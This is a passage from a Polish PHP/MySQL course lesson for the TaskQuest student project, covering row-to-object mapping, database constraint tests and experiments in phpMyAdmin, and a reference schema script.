<li>Jednej kolumny z wiersza nie przekazujesz do obiektu. Której? Czy to problem <strong>dzisiaj</strong>? Kiedy przestanie nim być?</li>
</ol>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Masz porównać wartość z <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code> tak, żeby wynik był <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code>. Ten sam operator stosowaliśmy w Lekcji 12 przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZadan</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane: $wiersz&#91;'data_wykonania'] !== null,</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie = new Zadanie(
    id: $wiersz&#91;'id'],
    tytul: $wiersz&#91;'tytul'],
    opis: $wiersz&#91;'opis'],
    termin: $wiersz&#91;'termin'],
    wykonane: $wiersz&#91;'data_wykonania'] !== null,
    xp: $wiersz&#91;'xp'],
);</code></pre>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool(false)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'2026-09-30'</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool(true)</code>.</li>



<li>Nie przekazujemy <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code>. Dziś to nie problem: obiekt zadania nie musi wiedzieć, czyje jest. Pytanie „czyje to zadania?” zada baza, gdy w Lekcji 18 poprosimy tylko o zadania zalogowanego użytkownika.</li>



<li>Porównaj z <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code>: tam <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane: $wiersz[4] === '1'</code> (z tekstu CSV), tu <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane: $wiersz['data_wykonania'] !== null</code> (z kolumny bazy). Zmienia się <strong>źródło</strong>, a obiekt zostaje ten sam. Dlatego reszta aplikacji (funkcje listy, <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>) nie będzie musiała się zmieniać.</li>
</ul>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Dokładne typy wartości, które zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> (np. czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> przyjdzie jako liczba, czy jako tekst), sprawdzimy w Lekcji 18 na prawdziwym połączeniu. Tu symulujemy wiersz. Data (<code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE</code>) przychodzi jako tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>.</p>
</blockquote>
</details>



<h1 class="wp-block-heading">7. Testy</h1>



<p class="wp-block-paragraph"><strong>Gdzie:</strong> testy 1–6 w phpMyAdmin (baza <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code> → zakładka SQL), testy 7–8 w przeglądarce. Przed każdym testem <strong>zapisz swoją przewidywaną odpowiedź</strong>: czy baza przyjmie polecenie, a jeśli nie, to z jakiego powodu.</p>



<p class="wp-block-paragraph">Testy 2–6 próbują wstawić <strong>złe</strong> dane. Baza powinna je odrzucić i nic nie zapisać.</p>



<h2 class="wp-block-heading">Test 1 — struktura i relacja</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT * FROM zadania WHERE uzytkownik_id = 2;
</code></pre>



<p class="wp-block-paragraph">Oczekiwane: <strong>dokładnie jeden</strong> wiersz, zadanie Oli. (<code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code> to warunek. Dokładniej poznasz go w Lekcji 18.) Zamień <code class="prettyprint lang-sql" style="font-size: 0.85em;">2</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code>: tyle wierszy, ile zadań w Twoim CSV. Zamień na <code class="prettyprint lang-sql" style="font-size: 0.85em;">3</code>: pusty wynik, bez błędu. Użytkownika nr 3 nie ma, więc nie ma też jego zadań.</p>



<h2 class="wp-block-heading">Test 2 — unikalny login</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO uzytkownicy (login, imie) VALUES ('Kama_2026', 'Druga Kama');
INSERT INTO uzytkownicy (login, imie) VALUES ('KAMA_2026', 'Trzecia Kama');
</code></pre>



<p class="wp-block-paragraph">Wykonuj <strong>po jednym</strong> poleceniu.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Polecenie</th><th>Oczekiwane</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">'Kama_2026'</code></td><td>błąd <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1062 Duplicate entry</code> (reguła <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code>)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">'KAMA_2026'</code></td><td><strong>też</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1062</code>. Porównanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4_unicode_ci</code> nie rozróżnia wielkości liter, więc dla bazy to ten sam login. Dobrze: dwóch użytkowników „Kama_2026” i „KAMA_2026” byłoby mylące</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Test 3 — zadanie nieistniejącego użytkownika</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (99, 'Zadanie bez właściciela', '2026-10-01', 10);
</code></pre>



<p class="wp-block-paragraph">Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1452 Cannot add or update a child row: a foreign key constraint fails</code>. Klucz obcy nie wpuści zadania, którego właściciel nie istnieje. Zwróć uwagę, że pominęliśmy <code class="prettyprint lang-sql" style="font-size: 0.85em;">opis</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code>, a mimo to tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> spowodował błąd. Dlaczego? Sprawdź <code class="prettyprint lang-sql" style="font-size: 0.85em;">DEFAULT</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> tych kolumn. Po zmianie <code class="prettyprint lang-sql" style="font-size: 0.85em;">99</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code> polecenie przejdzie. Potem uruchom ponownie cały <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>, żeby wrócić do czystych danych.</p>



<h2 class="wp-block-heading">Test 4 — baza pilnuje reguł kolumn</h2>



<p class="wp-block-paragraph">Każde polecenie osobno:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (1, NULL, '2026-10-01', 10);
INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (1, 'Ujemne XP', '2026-10-01', -5);
INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (1, 'Zły dzień', '2026-02-31', 10);
INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (1, REPEAT('a', 101), '2026-10-01', 10);
</code></pre>



<p class="wp-block-paragraph">(<code class="prettyprint lang-sql" style="font-size: 0.85em;">REPEAT('a', 101)</code> to funkcja SQL, która tworzy tekst ze 101 liter „a”.)</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Dane</th><th>Która reguła?</th><th>Oczekiwany błąd</th></tr></thead><tbody><tr><td>tytuł <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">NOT NULL</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">#1048 Column 'tytul' cannot be null</code></td></tr><tr><td>XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">-5</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UNSIGNED</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">#1264 Out of range value</code></td></tr><tr><td>termin <code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-02-31</code></td><td>typ <code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">#1292 Incorrect date value</code></td></tr><tr><td>tytuł 101 znaków</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(100)</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">#1406 Data too long</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Porównaj z CSV. <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzWierszZadania()</code> sprawdza tylko <strong>kształt</strong> daty (<code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code>), więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-02-31</code> z pliku przechodzi. Baza sprawdza kalendarz.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Jeśli któreś polecenie się wykonało</strong> (zamiast błędu pojawiło się ostrzeżenie, a w tabeli np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code> zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">-5</code> albo obcięty tytuł), Twój serwer działa w trybie „nieścisłym” (<em>non-strict</em>). Sprawdź: <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT @@sql_mode;</code>. W wyniku powinno być <code class="prettyprint lang-sql" style="font-size: 0.85em;">STRICT_TRANS_TABLES</code>. Jeśli go nie ma, zgłoś to nauczycielowi i po teście uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>. Wniosek na przyszłość: <strong>walidacji w PHP nie usuwamy nigdy</strong>. Baza jest drugą linią obrony, a nie pierwszą.</p>
</blockquote>



<h2 class="wp-block-heading">Test 5 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> to nie tekst</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO zadania (uzytkownik_id, tytul, termin, data_wykonania, xp) VALUES (1, 'Test NULL', '2026-10-01', 'NULL', 10);
</code></pre>



<p class="wp-block-paragraph">Przewidź: czy to zadanie będzie wykonane, niewykonane, czy dostaniesz błąd? Oczekiwane: błąd <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1292 Incorrect date value: 'NULL'</code>. Tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">'NULL'</code> to nie brak wartości, tylko napis, który nie jest datą. Bez apostrofów polecenie przejdzie. Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>.</p>



<h2 class="wp-block-heading">Test 6 — skrypt da się uruchomić ponownie</h2>



<p class="wp-block-paragraph">Uruchom cały <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> <strong>drugi raz</strong>. Oczekiwane: brak błędów, znowu 2 użytkowników i ta sama liczba zadań. Nie ma „śmieci” z testów 3–5, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> zadań znowu zaczynają się od 1.</p>



<h2 class="wp-block-heading">Test 7 — diagnostyka</h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/taskquest/diagnostyka.php</code>: <strong>18 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code></strong>, sekcja „Baza danych” z <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code> przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> i jednym skryptem <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>. Zmień chwilowo nazwę pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.txt</code>. Przewidź, co pokaże diagnostyka, sprawdź i przywróć nazwę. Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">[BRAK]</code> przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> i 0 skryptów SQL.</p>



<h2 class="wp-block-heading">Test 8 — regresja: aplikacja działa jak po Lekcji 15</h2>



<p class="wp-block-paragraph">Zaloguj się i porównaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/index.php</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja15/index.php</code> <strong>tego samego dnia</strong>. Różnić się może tylko wersja w stopce (<code class="prettyprint lang-sql" style="font-size: 0.85em;">1.5</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">1.7</code>). Dodaj zadanie przez formularz. Pojawi się na liście i w <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>, ale <strong>nie</strong> w bazie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT * FROM zadania;</code>). To potwierdza, że aplikacja jeszcze nie korzysta z bazy.</p>



<h1 class="wp-block-heading">8. Obowiązkowe eksperymenty</h1>



<p class="wp-block-paragraph"><strong>Gdzie:</strong> phpMyAdmin, baza <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code>. Po każdym eksperymencie <strong>uruchom ponownie cały <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code></strong>, żeby wrócić do czystego stanu.</p>



<h3 class="wp-block-heading">Eksperyment 1: kolejność ma znaczenie</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code> zamień miejscami dwie linie <code class="prettyprint lang-sql" style="font-size: 0.85em;">DROP TABLE IF EXISTS</code> (najpierw <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>, potem <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code>) i uruchom skrypt. Tabele już istnieją z wcześniejszego uruchomienia.</p>



<p class="wp-block-paragraph">Wynik: <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1451 Cannot delete or update a parent row: a foreign key constraint fails</code>. Baza nie pozwala usunąć tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>, dopóki tabela <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> na nią wskazuje. Inaczej zadania wskazywałyby na użytkowników, których nie ma. <strong>Przywróć kolejność w pliku.</strong> Zasada: usuwamy od tabel zależnych („N”), tworzymy od niezależnych („1”).</p>



<h3 class="wp-block-heading">Eksperyment 2: co robi <code class="prettyprint lang-sql" style="font-size: 0.85em;">ON DELETE CASCADE</code></h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT * FROM zadania;
DELETE FROM uzytkownicy WHERE login = 'Ola_TQ';
SELECT * FROM zadania;
</code></pre>



<p class="wp-block-paragraph">Przed wykonaniem przewidź, ile zadań zostanie. Wynik: zadanie Oli <strong>zniknęło razem z nią</strong>, choć polecenie dotyczyło tylko tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>. (<code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> to usuwanie wierszy. Z poziomu PHP zajmiemy się nim w Lekcji 19.)</p>



<p class="wp-block-paragraph">Teraz wyobraź sobie, że w <code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE zadania</code> nie ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">ON DELETE CASCADE</code>. Co zrobiłaby baza z tym samym <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code>? Sprawdź: usuń z pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;"> ON DELETE CASCADE</code>, uruchom skrypt, powtórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code>. Wynik: <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1451</code>, czyli baza <strong>odmawia</strong> usunięcia użytkownika, który ma zadania. Obie reakcje chronią przed „osieroconymi” zadaniami. Różnią się tym, co wydarzy się z danymi. Dla TaskQuest wybieramy kaskadę: usunięcie konta usuwa też zadania. <strong>Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">ON DELETE CASCADE</code> w pliku.</strong></p>



<h3 class="wp-block-heading">Eksperyment 3: <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4</code> i emoji</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (1, 'Trening <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4aa.png" alt="💪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> i nauka SQL', '2026-10-01', 10);
SELECT tytul FROM zadania;
</code></pre>



<p class="wp-block-paragraph">Działa: emoji zapisało się poprawnie. Teraz utwórz tabelę testową ze starszym kodowaniem <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb3</code>. Dawniej nazywało się po prostu <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8</code> i mieściło znaki zajmujące najwyżej 3 bajty:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE test_kodowania (tytul VARCHAR(100)) DEFAULT CHARSET=utf8mb3;
INSERT INTO test_kodowania VALUES ('Trening <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4aa.png" alt="💪" class="wp-smiley" style="height: 1em; max-height: 1em;" />');
</code></pre>



<p class="wp-block-paragraph">Wynik: błąd <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1366 Incorrect string value</code>. Emoji zajmuje 4 bajty, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb3</code> mieści najwyżej 3. Polskie litery (2 bajty) przeszłyby bez problemu, dlatego ten błąd często wychodzi dopiero na produkcji, gdy pierwszy użytkownik wpisze emoji. Posprzątaj: <code class="prettyprint lang-sql" style="font-size: 0.85em;">DROP TABLE test_kodowania;</code></p>



<h3 class="wp-block-heading">Eksperyment 4 (dodatkowy): skąd się biorą numery <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code></h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (1, 'Pierwsze', '2026-10-01', 10);
DELETE FROM zadania WHERE tytul = 'Pierwsze';
INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (1, 'Drugie', '2026-10-01', 10);
SELECT id, tytul FROM zadania;
</code></pre>



<p class="wp-block-paragraph">Przewidź: jakie <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> dostanie „Drugie”? Czy to samo co „Pierwsze”? Wynik: <strong>następny numer</strong>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code> nie wraca do zwolnionych numerów, więc w <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> powstaje „dziura”. To dokładnie ta sama zasada, z powodu której <code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code> od Lekcji 13 liczy „największe <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> + 1”, a nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">count() + 1</code>: numer raz użyty nie powinien trafić do innego zadania.</p>



<h1 class="wp-block-heading">9. ROZWIĄZANIE</h1>



<p class="wp-block-paragraph">W PHP zmieniają się tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code>. Pozostałe pliki są <strong>identyczne jak po Lekcji 15</strong> (wersja referencyjna w <code class="prettyprint lang-sql" style="font-size: 0.85em;">15_TaskQuest.md</code>, sekcja 9).</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> (nowy plik)</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">-- TaskQuest 1.7 — struktura bazy danych i dane testowe
-- Uruchom w phpMyAdmin: baza taskquest → zakładka SQL → wklej całość → Wykonaj.
-- Skrypt można uruchamiać wiele razy: najpierw usuwa stare tabele (RAZEM Z DANYMI!).

DROP TABLE IF EXISTS zadania;
DROP TABLE IF EXISTS uzytkownicy;

CREATE TABLE uzytkownicy (
    id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    login VARCHAR(20) NOT NULL UNIQUE,
    imie VARCHAR(30) NOT NULL,
    haslo_hash VARCHAR(255) NULL,
    xp INT UNSIGNED NOT NULL DEFAULT 0,
    streak INT UNSIGNED NOT NULL DEFAULT 0,
    data_ostatniej_aktywnosci DATE NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

CREATE TABLE zadania (
    id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    uzytkownik_id INT UNSIGNED NOT NULL,
    tytul VARCHAR(100) NOT NULL,
    opis VARCHAR(300) NOT NULL DEFAULT '',
    termin DATE NOT NULL,
    data_wykonania DATE NULL,
    xp INT UNSIGNED NOT NULL,
    FOREIGN KEY (uzytkownik_id) REFERENCES uzytkownicy(id) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- Kama: te same wartości, które index.php symuluje od Lekcji 15.
-- Ola: drugi użytkownik, żeby w bazie byli dwaj właściciele zadań.
INSERT INTO uzytkownicy (login, imie, xp, streak, data_ostatniej_aktywnosci) VALUES
('Kama_2026', 'Kama', 99, 5, '2026-09-14'),
('Ola_TQ', 'Ola', 250, 0, NULL);

-- Zadania Kamy = wszystkie zadania z data/zadania.csv:
--   id pomijamy (AUTO_INCREMENT), tytuł i opis bez zmian (także "brudne" spacje),
--   wykonane 1 → data_wykonania '2026-09-14', wykonane 0 → NULL.
INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, data_wykonania, xp) VALUES
(1, '   Nauczyć   się regexów   PHP   ', 'tu opis z CSV', '2026-09-20', '2026-09-14', 20),
-- ... kolejne zadania z data/zadania.csv (uzytkownik_id = 1) ...
(2, 'Zaprojektować bazę TaskQuest', 'Tabele uzytkownicy i zadania, klucze i relacja 1:N.', '2026-10-05', NULL, 30);
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code></h2>



<p class="wp-block-paragraph">Dwie zmiany (kod jak w sekcji 5, krok 5):</p>



<ul class="wp-block-list">
<li>w tablicy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> dochodzi <code class="prettyprint lang-sql" style="font-size: 0.85em;">'sql/taskquest.sql'</code> (razem <strong>18</strong> ścieżek),</li>



<li>pod sekcją „Pliki danych” dochodzi sekcja „Baza danych”: <code class="prettyprint lang-sql" style="font-size: 0.85em;">extension_loaded('mysqli')</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">[BRAK]</code> oraz lista plików z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$plikiSql = listaPlikowWKatalogu('sql', 'sql');</code>.</li>
</ul>



<p class="wp-block-paragraph">Reszta pliku bez zmian. Nadal bez sesji, bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">config.php</code>, bez połączenia z bazą (ma działać nawet przy zepsutym projekcie).</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;p&gt;TaskQuest 1.7&lt;/p&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre>
</details>



<h1 class="wp-block-heading">10. Co zmieniliśmy w TaskQuest?</h1>



<h3 class="wp-block-heading">Zostaje</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">cały kod PHP z Lekcji 15: klasy Zadanie i Uzytkownik, wszystkie funkcje, index.php, dodaj-zadanie.php,
zaloguj.php, wyloguj.php, sesja, cookie filtr, walidacja formularzy
data/zadania.csv — nadal jedyne źródło zadań aplikacji
symulowane dane gracza w index.php (xp: 99, streak: 5, dataOstatniejAktywnosci: '2026-09-14')
</code></pre>



<h3 class="wp-block-heading">Dochodzi</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">baza danych taskquest (utf8mb4_unicode_ci), tworzona w phpMyAdmin

sql/taskquest.sql (nowy plik, nowy katalog sql/)
    tabela uzytkownicy: id (PK, AUTO_INCREMENT), login (UNIQUE), imie, haslo_hash (NULL do L19),
                        xp, streak, data_ostatniej_aktywnosci (NULL = brak aktywności)
    tabela zadania:     id (PK, AUTO_INCREMENT), uzytkownik_id (FK → uzytkownicy.id, ON DELETE CASCADE),
                        tytul, opis, termin, data_wykonania (NULL = niewykonane), xp
    dane testowe: Kama (id 1, dane jak symulowane w index.php) z zadaniami z CSV, Ola (id 2) z jednym zadaniem

diagnostyka.php: sekcja „Baza danych” (extension_loaded('mysqli'), lista skryptów .sql), 18 wymaganych plików
</code></pre>



<p class="wp-block-paragraph">Nowe narzędzia: pojęcia bazy relacyjnej (tabela, kolumna, wiersz, klucz główny, klucz obcy, relacja 1:N), SQL: <code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DROP TABLE IF EXISTS</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO ... VALUES</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT *</code>; typy <code class="prettyprint lang-sql" style="font-size: 0.85em;">INT UNSIGNED</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(n)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE</code>; <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">NOT NULL</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DEFAULT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">PRIMARY KEY</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">FOREIGN KEY ... REFERENCES ... ON DELETE CASCADE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">ENGINE=InnoDB</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4</code>; w PHP: <code class="prettyprint lang-sql" style="font-size: 0.85em;">extension_loaded()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">class_exists()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHP_VERSION</code>.</p>



<h3 class="wp-block-heading">Zmieniamy</h3>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>: 18 wymaganych plików + sekcja „Baza danych”,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">TaskQuest 1.7</code>.</li>
</ul>



<h3 class="wp-block-heading">Usuwamy</h3>



<p class="wp-block-paragraph">Nic.</p>



<h3 class="wp-block-heading">Świadome decyzje projektowe</h3>



